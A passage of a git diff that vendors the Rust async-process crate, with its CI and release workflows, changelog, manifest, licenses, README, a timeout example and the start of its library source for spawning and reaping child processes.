cargo-hack,cargo-minimal-versions + - run: cargo build --all --all-features --all-targets + - run: cargo hack build --feature-powerset --no-dev-deps + - run: cargo minimal-versions build --all --all-features + - run: cargo test + - run: cargo test + env: + RUSTFLAGS: ${{ env.RUSTFLAGS }} --cfg async_process_force_signal_backend + if: matrix.os != 'windows-latest' + + test-android: + runs-on: ubuntu-latest + strategy: + fail-fast: false + matrix: + rust: [nightly] + target: + - aarch64-linux-android + steps: + - uses: actions/checkout@v4 + - name: Install Rust + # --no-self-update is necessary because the windows environment cannot self-update rustup.exe. + run: rustup update ${{ matrix.rust }} --no-self-update && rustup default ${{ matrix.rust }} + - name: Install cross-compilation tools + uses: taiki-e/setup-cross-toolchain-action@v1 + with: + target: ${{ matrix.target }} + # On nightly and `-Z doctest-xcompile` is available, + # `$DOCTEST_XCOMPILE` is `-Zdoctest-xcompile`. + # + # On stable, `$DOCTEST_XCOMPILE` is not set. + # Once `-Z doctest-xcompile` is stabilized, the corresponding flag + # will be set to `$DOCTEST_XCOMPILE` (if it is available). + - run: cargo test --verbose $DOCTEST_XCOMPILE + + msrv: + runs-on: ${{ matrix.os }} + strategy: + fail-fast: false + matrix: + os: [ubuntu-latest, windows-latest] + steps: + - uses: actions/checkout@v4 + - name: Install cargo-hack + uses: taiki-e/install-action@cargo-hack + - run: cargo hack build --rust-version + target-compatibility: + runs-on: ubuntu-latest + strategy: + fail-fast: false + matrix: + rust: [nightly] + target: + - aarch64-unknown-nto-qnx800 + - x86_64-pc-nto-qnx800 + steps: + - uses: actions/checkout@v4 + - name: Install Rust + run: | + rustup update ${{ matrix.rust }} --no-self-update + rustup default ${{ matrix.rust }} + rustup component add rust-src --toolchain nightly + - name: Cargo check + run: cargo +nightly check -Zbuild-std --target ${{ matrix.target }} diff --git a/lib/malio/async-process/.github/workflows/release.yml b/lib/malio/async-process/.github/workflows/release.yml new file mode 100644 index 0000000..59fad1f --- /dev/null +++ b/lib/malio/async-process/.github/workflows/release.yml @@ -0,0 +1,22 @@ +name: Release + +permissions: + contents: write + +on: + push: + tags: + - v[0-9]+.* + +jobs: + create-release: + if: github.repository_owner == 'smol-rs' + runs-on: ubuntu-latest + steps: + - uses: actions/checkout@v4 + - uses: taiki-e/create-gh-release-action@v1 + with: + changelog: CHANGELOG.md + branch: master + env: + GITHUB_TOKEN: ${{ secrets.GITHUB_TOKEN }} diff --git a/lib/malio/async-process/.gitignore b/lib/malio/async-process/.gitignore new file mode 100644 index 0000000..96ef6c0 --- /dev/null +++ b/lib/malio/async-process/.gitignore @@ -0,0 +1,2 @@ +/target +Cargo.lock diff --git a/lib/malio/async-process/CHANGELOG.md b/lib/malio/async-process/CHANGELOG.md new file mode 100644 index 0000000..d414302 --- /dev/null +++ b/lib/malio/async-process/CHANGELOG.md @@ -0,0 +1,129 @@ +# Version 2.5.0 + +- Bump MSRV to 1.71. (#106) +- Add `Command::get_{args, envs, current_dir, program}` (#102) +- Update to `windows-sys` v0.61. (#104) +- Remove dependency on `async_lock` on Windows. (#103) + +# Version 2.4.0 + +- Add a new optional `tracing` feature. When enabled, this feature adds logging + to the implementation. By default it is disabled. (#101) +- Fix build failure when compiled together with old versions of `async-signal`. (#96) +- Fix build failure with minimal-versions. (#101) +- Update `windows-sys` to v0.60. (#99) + +# Version 2.3.1 + +- Update rustix to 1.0. (#94) + +# Version 2.3.0 + +- Use a more efficient backend on Windows. (#87) + +# Version 2.2.4 + +- Update to `windows-sys` v0.59. (#85) + +# Version 2.2.3 + +- Fix builds on Android by having Android unconditionally use the signal reaper + backend. (#80) + +# Version 2.2.2 + +- Fix a typo in the docs for `ChildStdin`. (#76) + +# Version 2.2.1 + +- Fix a compilation error for 32-bit operating systems by using a 32-bit zombie counter. (#75) + +# Version 2.2.0 + +- Port Linux to a new backend that tries to use `pidfd` if it is available. (#68) + +# Version 2.1.0 + +- Update `event-listener` to v5.1.0. (#67) + +# Version 2.0.1 + +- Update `event-listener` to v4.0.0. (#64) +- Update `windows-sys` to v0.52.0. (#65) + +# Version 2.0.0 + +- **Breaking:** Remove the `pre_exec` extension function on Unix. It is still available through the `From` implementation on `Command`. (#54) +- Add the `driver()` function, which allows the processes to be driven without a separate thread. (#52) +- Bump `async-io` to v2.0.0 and `async-channel` to v2.0.0. (#60) + +# Version 1.8.1 + +- Bump `async-signal` to v0.2.3. (#56) + +# Version 1.8.0 + +- Move from `signal-hook` to the `async-signal` crate. (#42) +- Reorganize the internals of this crate to be more coherent. (#46) +- Bump to `event-listener` v3.0.0. (#43) + +# Version 1.7.0 + +- Replace direct dependency on libc with rustix. (#31) +- Reduce the number of syscalls used in the `into_stdio` method. (#31) +- Add windows::CommandExt::raw_arg on Rust 1.62+. (#32) +- Update windows-sys to 0.48. (#39) + +# Version 1.6.0 + +- Switch from `winapi` to `windows-sys` (#27) +- Remove the dependency on the `once_cell` crate to restore the MSRV (#26) +- Fix build failure with minimal-versions (#28) + +# Version 1.5.0 + +- Implement `AsRawFd` for `ChildStd*` on Unix (#23) +- Implement I/O safety traits on Rust 1.63+ on Unix (#23) + +# Version 1.4.0 + +- `Command::spawn` and `Command::output` no longer unconfigure stdio streams (#20) +- Implement `From` for `Command` (#21) + +# Version 1.3.0 + +- Improve debug implementation of `Command` (#18) + +# Version 1.2.0 + +- Implement `AsRawHandle` on `Child` on `Windows` (#17) + +# Version 1.1.0 + +- Add `into_stdio` method to `ChildStdin`, `ChildStdout`, and `ChildStderr`. (#13) + +# Version 1.0.2 + +- Use `kill_on_drop` only when the last reference to `ChildGuard` is dropped. + +# Version 1.0.1 + +- Update `futures-lite`. + +# Version 1.0.0 + +- Update dependencies and stabilize. + +# Version 0.1.3 + +- Update dependencies. + +# Version 0.1.2 + +- Add Unix and Windows extensions. +- Add `Command::reap_on_drop()` option. +- Add `Command::kill_on_drop()` option. + +# Version 0.1.1 + +- Initial version diff --git a/lib/malio/async-process/Cargo.toml b/lib/malio/async-process/Cargo.toml new file mode 100644 index 0000000..c362e5a --- /dev/null +++ b/lib/malio/async-process/Cargo.toml @@ -0,0 +1,48 @@ +[package] +name = "async-process" +# When publishing a new version: +# - Update CHANGELOG.md +# - Create "v2.x.y" git tag +version = "2.5.0" +authors = ["Stjepan Glavina "] +edition = "2021" +rust-version = "1.71" +description = "Async interface for working with processes" +license = "Apache-2.0 OR MIT" +repository = "https://github.com/smol-rs/async-process" +keywords = ["process", "spawn", "command", "subprocess", "child"] +categories = ["asynchronous", "os"] +exclude = ["/.*"] + +[dependencies] +async-io = "2.3.0" +cfg-if = "1.0" +event-listener = "5.1.0" +futures-lite = "2.0.0" +tracing = { version = "0.1.40", default-features = false, optional = true } + +[target.'cfg(unix)'.dependencies] +async-lock = "3.0.0" +async-signal = "0.2.3" +rustix = { version = "1.0", default-features = false, features = ["std", "fs", "process"] } + +[target.'cfg(any(windows, target_os = "linux"))'.dependencies] +async-channel = "2.0.0" +async-task = "4.7.0" + +[target.'cfg(windows)'.dependencies] +blocking = "1.0.0" + +[lints.rust] +unexpected_cfgs = { level = "warn", check-cfg = ['cfg(async_process_force_signal_backend)'] } + +[dev-dependencies] +async-executor = "1.5.1" + +[target.'cfg(windows)'.dev-dependencies.windows-sys] +version = "0.61" +default-features = false +features = [ + "Win32_Foundation", + "Win32_System_Threading", +] diff --git a/lib/malio/async-process/LICENSE-APACHE b/lib/malio/async-process/LICENSE-APACHE new file mode 100644 index 0000000..16fe87b --- /dev/null +++ b/lib/malio/async-process/LICENSE-APACHE @@ -0,0 +1,201 @@ + Apache License + Version 2.0, January 2004 + http://www.apache.org/licenses/ + +TERMS AND CONDITIONS FOR USE, REPRODUCTION, AND DISTRIBUTION + +1. Definitions. + + "License" shall mean the terms and conditions for use, reproduction, + and distribution as defined by Sections 1 through 9 of this document. + + "Licensor" shall mean the copyright owner or entity authorized by + the copyright owner that is granting the License. + + "Legal Entity" shall mean the union of the acting entity and all + other entities that control, are controlled by, or are under common + control with that entity. For the purposes of this definition, + "control" means (i) the power, direct or indirect, to cause the + direction or management of such entity, whether by contract or + otherwise, or (ii) ownership of fifty percent (50%) or more of the + outstanding shares, or (iii) beneficial ownership of such entity. + + "You" (or "Your") shall mean an individual or Legal Entity + exercising permissions granted by this License. + + "Source" form shall mean the preferred form for making modifications, + including but not limited to software source code, documentation + source, and configuration files. + + "Object" form shall mean any form resulting from mechanical + transformation or translation of a Source form, including but + not limited to compiled object code, generated documentation, + and conversions to other media types. + + "Work" shall mean the work of authorship, whether in Source or + Object form, made available under the License, as indicated by a + copyright notice that is included in or attached to the work + (an example is provided in the Appendix below). + + "Derivative Works" shall mean any work, whether in Source or Object + form, that is based on (or derived from) the Work and for which the + editorial revisions, annotations, elaborations, or other modifications + represent, as a whole, an original work of authorship. For the purposes + of this License, Derivative Works shall not include works that remain + separable from, or merely link (or bind by name) to the interfaces of, + the Work and Derivative Works thereof. + + "Contribution" shall mean any work of authorship, including + the original version of the Work and any modifications or additions + to that Work or Derivative Works thereof, that is intentionally + submitted to Licensor for inclusion in the Work by the copyright owner + or by an individual or Legal Entity authorized to submit on behalf of + the copyright owner. For the purposes of this definition, "submitted" + means any form of electronic, verbal, or written communication sent + to the Licensor or its representatives, including but not limited to + communication on electronic mailing lists, source code control systems, + and issue tracking systems that are managed by, or on behalf of, the + Licensor for the purpose of discussing and improving the Work, but + excluding communication that is conspicuously marked or otherwise + designated in writing by the copyright owner as "Not a Contribution." + + "Contributor" shall mean Licensor and any individual or Legal Entity + on behalf of whom a Contribution has been received by Licensor and + subsequently incorporated within the Work. + +2. Grant of Copyright License. Subject to the terms and conditions of + this License, each Contributor hereby grants to You a perpetual, + worldwide, non-exclusive, no-charge, royalty-free, irrevocable + copyright license to reproduce, prepare Derivative Works of, + publicly display, publicly perform, sublicense, and distribute the + Work and such Derivative Works in Source or Object form. + +3. Grant of Patent License. Subject to the terms and conditions of + this License, each Contributor hereby grants to You a perpetual, + worldwide, non-exclusive, no-charge, royalty-free, irrevocable + (except as stated in this section) patent license to make, have made, + use, offer to sell, sell, import, and otherwise transfer the Work, + where such license applies only to those patent claims licensable + by such Contributor that are necessarily infringed by their + Contribution(s) alone or by combination of their Contribution(s) + with the Work to which such Contribution(s) was submitted. If You + institute patent litigation against any entity (including a + cross-claim or counterclaim in a lawsuit) alleging that the Work + or a Contribution incorporated within the Work constitutes direct + or contributory patent infringement, then any patent licenses + granted to You under this License for that Work shall terminate + as of the date such litigation is filed. + +4. Redistribution. You may reproduce and distribute copies of the + Work or Derivative Works thereof in any medium, with or without + modifications, and in Source or Object form, provided that You + meet the following conditions: + + (a) You must give any other recipients of the Work or + Derivative Works a copy of this License; and + + (b) You must cause any modified files to carry prominent notices + stating that You changed the files; and + + (c) You must retain, in the Source form of any Derivative Works + that You distribute, all copyright, patent, trademark, and + attribution notices from the Source form of the Work, + excluding those notices that do not pertain to any part of + the Derivative Works; and + + (d) If the Work includes a "NOTICE" text file as part of its + distribution, then any Derivative Works that You distribute must + include a readable copy of the attribution notices contained + within such NOTICE file, excluding those notices that do not + pertain to any part of the Derivative Works, in at least one + of the following places: within a NOTICE text file distributed + as part of the Derivative Works; within the Source form or + documentation, if provided along with the Derivative Works; or, + within a display generated by the Derivative Works, if and + wherever such third-party notices normally appear. The contents + of the NOTICE file are for informational purposes only and + do not modify the License. You may add Your own attribution + notices within Derivative Works that You distribute, alongside + or as an addendum to the NOTICE text from the Work, provided + that such additional attribution notices cannot be construed + as modifying the License. + + You may add Your own copyright statement to Your modifications and + may provide additional or different license terms and conditions + for use, reproduction, or distribution of Your modifications, or + for any such Derivative Works as a whole, provided Your use, + reproduction, and distribution of the Work otherwise complies with + the conditions stated in this License. + +5. Submission of Contributions. Unless You explicitly state otherwise, + any Contribution intentionally submitted for inclusion in the Work + by You to the Licensor shall be under the terms and conditions of + this License, without any additional terms or conditions. + Notwithstanding the above, nothing herein shall supersede or modify + the terms of any separate license agreement you may have executed + with Licensor regarding such Contributions. + +6. Trademarks. This License does not grant permission to use the trade + names, trademarks, service marks, or product names of the Licensor, + except as required for reasonable and customary use in describing the + origin of the Work and reproducing the content of the NOTICE file. + +7. Disclaimer of Warranty. Unless required by applicable law or + agreed to in writing, Licensor provides the Work (and each + Contributor provides its Contributions) on an "AS IS" BASIS, + WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or + implied, including, without limitation, any warranties or conditions + of TITLE, NON-INFRINGEMENT, MERCHANTABILITY, or FITNESS FOR A + PARTICULAR PURPOSE. You are solely responsible for determining the + appropriateness of using or redistributing the Work and assume any + risks associated with Your exercise of permissions under this License. + +8. Limitation of Liability. In no event and under no legal theory, + whether in tort (including negligence), contract, or otherwise, + unless required by applicable law (such as deliberate and grossly + negligent acts) or agreed to in writing, shall any Contributor be + liable to You for damages, including any direct, indirect, special, + incidental, or consequential damages of any character arising as a + result of this License or out of the use or inability to use the + Work (including but not limited to damages for loss of goodwill, + work stoppage, computer failure or malfunction, or any and all + other commercial damages or losses), even if such Contributor + has been advised of the possibility of such damages. + +9. Accepting Warranty or Additional Liability. While redistributing + the Work or Derivative Works thereof, You may choose to offer, + and charge a fee for, acceptance of support, warranty, indemnity, + or other liability obligations and/or rights consistent with this + License. However, in accepting such obligations, You may act only + on Your own behalf and on Your sole responsibility, not on behalf + of any other Contributor, and only if You agree to indemnify, + defend, and hold each Contributor harmless for any liability + incurred by, or claims asserted against, such Contributor by reason + of your accepting any such warranty or additional liability. + +END OF TERMS AND CONDITIONS + +APPENDIX: How to apply the Apache License to your work. + + To apply the Apache License to your work, attach the following + boilerplate notice, with the fields enclosed by brackets "[]" + replaced with your own identifying information. (Don't include + the brackets!) The text should be enclosed in the appropriate + comment syntax for the file format. We also recommend that a + file or class name and description of purpose be included on the + same "printed page" as the copyright notice for easier + identification within third-party archives. + +Copyright [yyyy] [name of copyright owner] + +Licensed under the Apache License, Version 2.0 (the "License"); +you may not use this file except in compliance with the License. +You may obtain a copy of the License at + + http://www.apache.org/licenses/LICENSE-2.0 + +Unless required by applicable law or agreed to in writing, software +distributed under the License is distributed on an "AS IS" BASIS, +WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. +See the License for the specific language governing permissions and +limitations under the License. diff --git a/lib/malio/async-process/LICENSE-MIT b/lib/malio/async-process/LICENSE-MIT new file mode 100644 index 0000000..31aa793 --- /dev/null +++ b/lib/malio/async-process/LICENSE-MIT @@ -0,0 +1,23 @@ +Permission is hereby granted, free of charge, to any +person obtaining a copy of this software and associated +documentation files (the "Software"), to deal in the +Software without restriction, including without +limitation the rights to use, copy, modify, merge, +publish, distribute, sublicense, and/or sell copies of +the Software, and to permit persons to whom the Software +is furnished to do so, subject to the following +conditions: + +The above copyright notice and this permission notice +shall be included in all copies or substantial portions +of the Software. + +THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF +ANY KIND, EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED +TO THE WARRANTIES OF MERCHANTABILITY, FITNESS FOR A +PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT +SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY +CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION +OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR +IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER +DEALINGS IN THE SOFTWARE. diff --git a/lib/malio/async-process/README.md b/lib/malio/async-process/README.md new file mode 100644 index 0000000..f19ec7d --- /dev/null +++ b/lib/malio/async-process/README.md @@ -0,0 +1,71 @@ +# async-process + +[![Build](https://github.com/smol-rs/async-process/actions/workflows/ci.yml/badge.svg)]( +https://github.com/smol-rs/async-process/actions) +[![License](https://img.shields.io/badge/license-Apache--2.0_OR_MIT-blue.svg)]( +https://github.com/smol-rs/async-process) +[![Cargo](https://img.shields.io/crates/v/async-process.svg)]( +https://crates.io/crates/async-process) +[![Documentation](https://docs.rs/async-process/badge.svg)]( +https://docs.rs/async-process) + +Async interface for working with processes. + +This crate is an async version of `std::process`. + +## Implementation + +A background thread named "async-process" is lazily created on first use, which waits for +spawned child processes to exit and then calls the `wait()` syscall to clean up the "zombie" +processes. This is unlike the `process` API in the standard library, where dropping a running +`Child` leaks its resources. + +This crate uses [`async-io`] for async I/O on Unix-like systems and [`blocking`] for async I/O +on Windows. + +[`async-io`]: https://docs.rs/async-io +[`blocking`]: https://docs.rs/blocking + +## Examples + +Spawn a process and collect its output: + +```rust +use async_process::Command; + +let out = Command::new("echo").arg("hello").arg("world").output().await?; +assert_eq!(out.stdout, b"hello world\n"); +``` + +Read the output line-by-line as it gets produced: + +```rust +use async_process::{Command, Stdio}; +use futures_lite::{io::BufReader, prelude::*}; + +let mut child = Command::new("find") + .arg(".") + .stdout(Stdio::piped()) + .spawn()?; + +let mut lines = BufReader::new(child.stdout.take().unwrap()).lines(); + +while let Some(line) = lines.next().await { + println!("{}", line?); +} +``` + +## License + +Licensed under either of + + * Apache License, Version 2.0 ([LICENSE-APACHE](LICENSE-APACHE) or http://www.apache.org/licenses/LICENSE-2.0) + * MIT license ([LICENSE-MIT](LICENSE-MIT) or http://opensource.org/licenses/MIT) + +at your option. + +#### Contribution + +Unless you explicitly state otherwise, any contribution intentionally submitted +for inclusion in the work by you, as defined in the Apache-2.0 license, shall be +dual licensed as above, without any additional terms or conditions. diff --git a/lib/malio/async-process/examples/timeout.rs b/lib/malio/async-process/examples/timeout.rs new file mode 100644 index 0000000..babec17 --- /dev/null +++ b/lib/malio/async-process/examples/timeout.rs @@ -0,0 +1,80 @@ +//! An example of running a `Command` with a timeout. + +use async_io::Timer; +use async_process::{Command, Stdio}; +use futures_lite::{future, prelude::*}; +use std::io; + +fn main() -> io::Result<()> { + async_io::block_on(async { + // Spawn a a command of your choice. + let mut child = Command::new("sleep") + .arg("3") + .stdout(Stdio::piped()) + .stderr(Stdio::piped()) + .spawn()?; + + // Run a future to drain the stdout of the child. + // We can't use output() here because it would be cancelled along with the child when the timeout + // expires. + let mut stdout = String::new(); + let drain_stdout = { + let buffer = &mut stdout; + let mut stdout = child.stdout.take().unwrap(); + + async move { + stdout.read_to_string(buffer).await?; + + // Wait for the child to exit or the timeout. + future::pending().await + } + }; + + // Run a future to drain the stderr of the child. + let mut stderr = String::new(); + let drain_stderr = { + let buffer = &mut stderr; + let mut stderr = child.stderr.take().unwrap(); + + async move { + stderr.read_to_string(buffer).await?; + + // Wait for the child to exit or the timeout. + future::pending().await + } + }; + + // Run a future that waits for the child to exit. + let wait = async move { + child.status().await?; + + // Child exited. + io::Result::Ok(false) + }; + + // Run a future that times out after 1 second. + let timeout_s = 1; + let timeout = async move { + Timer::after(std::time::Duration::from_secs(timeout_s)).await; + + // Timed out. + Ok(true) + }; + + // Run the futures concurrently. + // Note: For larger scale programs than this you should probably spawn each individual future on + // a separate task in an executor. + let timed_out = drain_stdout.or(drain_stderr).or(wait).or(timeout).await?; + + if timed_out { + println!("The child timed out."); + } else { + println!("The child exited."); + } + + println!("Stdout:\n{stdout}"); + println!("Stderr:\n{stderr}"); + + Ok(()) + }) +} diff --git a/lib/malio/async-process/src/lib.rs b/lib/malio/async-process/src/lib.rs new file mode 100644 index 0000000..0a48859 --- /dev/null +++ b/lib/malio/async-process/src/lib.rs @@ -0,0 +1,1311 @@ +//! Async interface for working with processes. +//! +//! This crate is an async version of [`std::process`]. +//! +//! # Implementation +//! +//! A background thread named "async-process" is lazily created on first use, which waits for +//! spawned child processes to exit and then calls the `wait()` syscall to clean up the "zombie" +//! processes. This is unlike the `process` API in the standard library, where dropping a running +//! `Child` leaks its resources. +//! +//! This crate uses [`async-io`] for async I/O on Unix-like systems and [`blocking`] for async I/O +//! on Windows. +//! +//! [`async-io`]: https://docs.rs/async-io +//! [`blocking`]: https://docs.rs/blocking +//! +//! # Examples +//! +//! Spawn a process and collect its output: +//! +//! ```no_run +//! # futures_lite::future::block_on(async { +//! use async_process::Command; +//! +//! let out = Command::new("echo").arg("hello").arg("world").output().await?; +//! assert_eq!(out.stdout, b"hello world\n"); +//! # std::io::Result::Ok(()) }); +//! ``` +//! +//! Read the output line-by-line as it gets produced: +//! +//! ```no_run +//! # futures_lite::future::block_on(async { +//! use async_process::{Command, Stdio}; +//! use futures_lite::{io::BufReader, prelude::*}; +//! +//! let mut child = Command::new("find") +//! .arg(".") +//! .stdout(Stdio::piped()) +//! .spawn()?; +//! +//! let mut lines = BufReader::new(child.stdout.take().unwrap()).lines(); +//! +//! while let Some(line) = lines.next().await { +//! println!("{}", line?); +//! } +//! # std::io::Result::Ok(()) }); +//! ``` + +#![warn(missing_docs, missing_debug_implementations, rust_2018_idioms)] +#![doc( + html_favicon_url = "https://raw.githubusercontent.com/smol-rs/smol/master/assets/images/logo_fullsize_transparent.png" +)] +#![doc( + html_logo_url = "https://raw.githubusercontent.com/smol-rs/smol/master/assets/images/logo_fullsize_transparent.png" +)] + +use std::convert::Infallible; +use std::ffi::OsStr; +use std::fmt; +use std::path::Path; +use std::pin::Pin; +use std::sync::atomic::{AtomicUsize, Ordering}; +use std::sync::{Arc, Mutex, OnceLock}; +use std::task::{Context, Poll}; +use std::thread; + +#[cfg(unix)] +use async_io::Async; +#[cfg(unix)] +use std::os::unix::io::{AsFd, AsRawFd, BorrowedFd, OwnedFd, RawFd}; + +#[cfg(windows)] +use blocking::Unblock; + +use futures_lite::{future, io, prelude::*}; + +#[doc(no_inline)] +pub use std::process::{ExitStatus, Output, Stdio}; + +#[cfg(unix)] +pub mod unix; +#[cfg(windows)] +pub mod windows; + +mod reaper; + +mod sealed { + pub trait Sealed {} +} + +#[cfg(test)] +static DRIVER_THREAD_SPAWNED: std::sync::atomic::AtomicBool = + std::sync::atomic::AtomicBool::new(false); + +/// The zombie process reaper. +/// +/// This structure reaps zombie processes and emits the `SIGCHLD` signal. +struct Reaper { + /// Underlying system reaper. + sys: reaper::Reaper, + + /// The number of tasks polling the SIGCHLD event. + /// + /// If this is zero, the `async-process` thread must be spawned. + drivers: AtomicUsize, + + /// Number of live `Child` instances currently running. + /// + /// This is used to prevent the reaper thread from being spawned right as the program closes, + /// when the reaper thread isn't needed. This represents the number of active processes. + child_count: AtomicUsize, +} + +impl Reaper { + /// Get the singleton instance of the reaper. + fn get() -> &'static Self { + static REAPER: OnceLock = OnceLock::new(); + + REAPER.get_or_init(|| Reaper { + sys: reaper::Reaper::new(), + drivers: AtomicUsize::new(0), + child_count: AtomicUsize::new(0), + }) + } + + /// Ensure that the reaper is driven. + /// + /// If there are no active `driver()` callers, this will spawn the `async-process` thread. + #[inline] + fn ensure_driven(&'static self) { + if self + .drivers + .compare_exchange(0, 1, Ordering::SeqCst, Ordering::Acquire) + .is_ok() + { + self.start_driver_thread(); + } + } + + /// Start the `async-process` thread. + #[cold] + fn start_driver_thread(&'static self) { + #[cfg(test)] + DRIVER_THREAD_SPAWNED + .compare_exchange(false, true, Ordering::SeqCst, Ordering::SeqCst) + .unwrap_or_else(|_| unreachable!("Driver thread already spawned")); + + thread::Builder::new() + .name("async-process".to_string()) + .spawn(move || { + let driver = async move { + // No need to bump self.drivers, it was already bumped in ensure_driven. + let guard = self.sys.lock().await; + self.sys.reap(guard).await + }; + + #[cfg(unix)] + async_io::block_on(driver); + + #[cfg(not(unix))] + future::block_on(driver); + }) + .expect("cannot spawn async-process thread"); + } + + /// Register a process with this reaper. + fn register(&'static self, child: std::process::Child) -> io::Result { + self.ensure_driven(); + self.sys.register(child) + } +} + +cfg_if::cfg_if! { + if #[cfg(windows)] { + // Wraps a sync I/O type into an async I/O type. + fn wrap(io: T) -> io::Result> { + Ok(Unblock::new(io)) + } + } else if #[cfg(unix)] { + /// Wrap a file descriptor into a non-blocking I/O type. + fn wrap(io: T) -> io::Result> { + Async::new(io) + } + } +} + +/// A guard that can kill child processes, or push them into the zombie list. +struct ChildGuard { + inner: reaper::ChildGuard, + reap_on_drop: bool, + kill_on_drop: bool, + reaper: &'static Reaper, +} + +impl ChildGuard { + fn get_mut(&mut self) -> &mut std::process::Child { + self.inner.get_mut() + } +} + +// When the last reference to the child process is dropped, push it into the zombie list. +impl Drop for ChildGuard { + fn drop(&mut self) { + if self.kill_on_drop { + self.get_mut().kill().ok(); + } + if self.reap_on_drop { + self.inner.reap(&self.reaper.sys); + } + + // Decrement number of children. + self.reaper.child_count.fetch_sub(1, Ordering::Acquire); + } +} + +/// A spawned child process. +/// +/// The process can be in running or exited state. Use [`status()`][`Child::status()`] or +/// [`output()`][`Child::output()`] to wait for it to exit. +/// +/// If the [`Child`] is dropped, the process keeps running in the background. +/// +/// # Examples +/// +/// Spawn a process and wait for it to complete: +/// +/// ```no_run +/// # futures_lite::future::block_on(async { +/// use async_process::Command; +/// +/// Command::new("cp").arg("a.txt").arg("b.txt").status().await?; +/// # std::io::Result::Ok(()) }); +/// ``` +pub struct Child { + /// The handle for writing to the child's standard input (stdin), if it has been captured. + pub stdin: Option, + + /// The handle for reading from the child's standard output (stdout), if it has been captured. + pub stdout: Option, + + /// The handle for reading from the child's standard error (stderr), if it has been captured. + pub stderr: Option, + + /// The inner child process handle. + child: Arc>, +} + +impl Child { + /// Wraps the inner child process handle and registers it in the global process list. + /// + /// The "async-process" thread waits for processes in the global list and cleans up the + /// resources when they exit. + fn new(cmd: &mut Command) -> io::Result { + // Make sure the reaper exists before we spawn the child process. + let reaper = Reaper::get(); + let mut child = cmd.inner.spawn()?; + + // Convert sync I/O types into async I/O types. + let stdin = child.stdin.take().map(wrap).transpose()?.map(ChildStdin); + let stdout = child.stdout.take().map(wrap).transpose()?.map(ChildStdout); + let stderr = child.stderr.take().map(wrap).transpose()?.map(ChildStderr); + + // Bump the child count. + reaper.child_count.fetch_add(1, Ordering::Relaxed); + + // Register the child process in the global list. + let inner = reaper.register(child)?; + + Ok(Child { + stdin, + stdout, + stderr, + child: Arc::new(Mutex::new(ChildGuard { + inner, + reap_on_drop: cmd.reap_on_drop, + kill_on_drop: cmd.kill_on_drop, + reaper, + })), + }) + } + + /// Returns the OS-assigned process identifier associated with this child. + /// + /// # Examples + /// + /// ```no_run + /// # futures_lite::future::block_on(async { + /// use async_process::Command; + /// + /// let mut child = Command::new("ls").spawn()?; + /// println!("id: {}", child.id()); + /// # std::io::Result::Ok(()) }); + /// ``` + pub fn id(&self) -> u32 { + self.child.lock().unwrap().get_mut().id() + } + + /// Forces the child process to exit. + /// + /// If the child has already exited, an [`InvalidInput`] error is returned. + /// + /// This is equivalent to sending a SIGKILL on Unix platforms. + /// + /// [`InvalidInput`]: `std::io::ErrorKind::InvalidInput` + /// + /// # Examples + /// + /// ```no_run + /// # futures_lite::future::block_on(async { + /// use async_process::Command; + /// + /// let mut child = Command::new("yes").spawn()?; + /// child.kill()?; + /// println!("exit status: {}", child.status().await?); + /// # std::io::Result::Ok(()) }); + /// ``` + pub fn kill(&mut self) -> io::Result<()> { + self.child.lock().unwrap().get_mut().kill() + } + + /// Returns the exit status if the process has exited. + /// + /// Unlike [`status()`][`Child::status()`], this method will not drop the stdin handle. + /// + /// # Examples + /// + /// ```no_run + /// # futures_lite::future::block_on(async { + /// use async_process::Command; + /// + /// let mut child = Command::new("ls").spawn()?; + /// + /// match child.try_status()? { + /// None => println!("still running"), + /// Some(status) => println!("exited with: {}", status), + /// } + /// # std::io::Result::Ok(()) }); + /// ``` + pub fn try_status(&mut self) -> io::Result> { + self.child.lock().unwrap().get_mut().try_wait() + } + + /// Drops the stdin handle and waits for the process to exit. + /// + /// Closing the stdin of the process helps avoid deadlocks. It ensures that the process does + /// not block waiting for input from the parent process while the parent waits for the child to + /// exit. + /// + /// # Examples + /// + /// ```no_run + /// # futures_lite::future::block_on(async { + /// use async_process::{Command, Stdio}; + /// + /// let mut child = Command::new("cp") + /// .arg("a.txt") + /// .arg("b.txt") + /// .spawn()?; + /// + /// println!("exit status: {}", child.status().await?); + /// # std::io::Result::Ok(()) }); + /// ``` + pub fn status(&mut self) -> impl Future> { + self.stdin.take(); + let child = self.child.clone(); + + async move { Reaper::get().sys.status(&child).await } + } + + /// Drops the stdin handle and collects the output of the process. + /// + /// Closing the stdin of the process helps avoid deadlocks. It ensures that the process does + /// not block waiting for input from the parent process while the parent waits for the child to + /// exit. + /// + /// In order to capture the output of the process, [`Command::stdout()`] and + /// [`Command::stderr()`] must be configured with [`Stdio::piped()`]. + /// + /// # Examples + /// + /// ```no_run + /// # futures_lite::future::block_on(async { + /// use async_process::{Command, Stdio}; + /// + /// let child = Command::new("ls") + /// .stdout(Stdio::piped()) + /// .stderr(Stdio::piped()) + /// .spawn()?; + /// + /// let out = child.output().await?; + /// # std::io::Result::Ok(()) }); + /// ``` + pub fn output(mut self) -> impl Future> { + // A future that waits for the exit status. + let status = self.status(); + + // A future that collects stdout. + let stdout = self.stdout.take(); + let stdout = async move { + let mut v = Vec::new(); + if let Some(mut s) = stdout { + s.read_to_end(&mut v).await?; + } + io::Result::Ok(v) + }; + + // A future that collects stderr. + let stderr = self.stderr.take(); + let stderr = async move { + let mut v = Vec::new(); + if let Some(mut s) = stderr { + s.read_to_end(&mut v).await?; + } + io::Result::Ok(v) + }; + + async move { + let (stdout, stderr) = future::try_zip(stdout, stderr).await?; + let status = status.await?; + Ok(Output { + status, + stdout, + stderr, + }) + } + } +} + +impl fmt::Debug for Child { + fn fmt(&self, f: &mut fmt::Formatter<'_>) -> fmt::Result { + f.debug_struct("Child") + .field("stdin", &self.stdin) + .field("stdout", &self.stdout) + .field("stderr", &self.stderr) + .finish() + } +} + +/// A handle to a child process's standard input (stdin). +/// +/// When a [`ChildStdin`] is dropped, the underlying handle gets closed. If the child process was +/// previously blocked on input, it becomes unblocked after dropping. +#[derive(Debug)] +pub struct 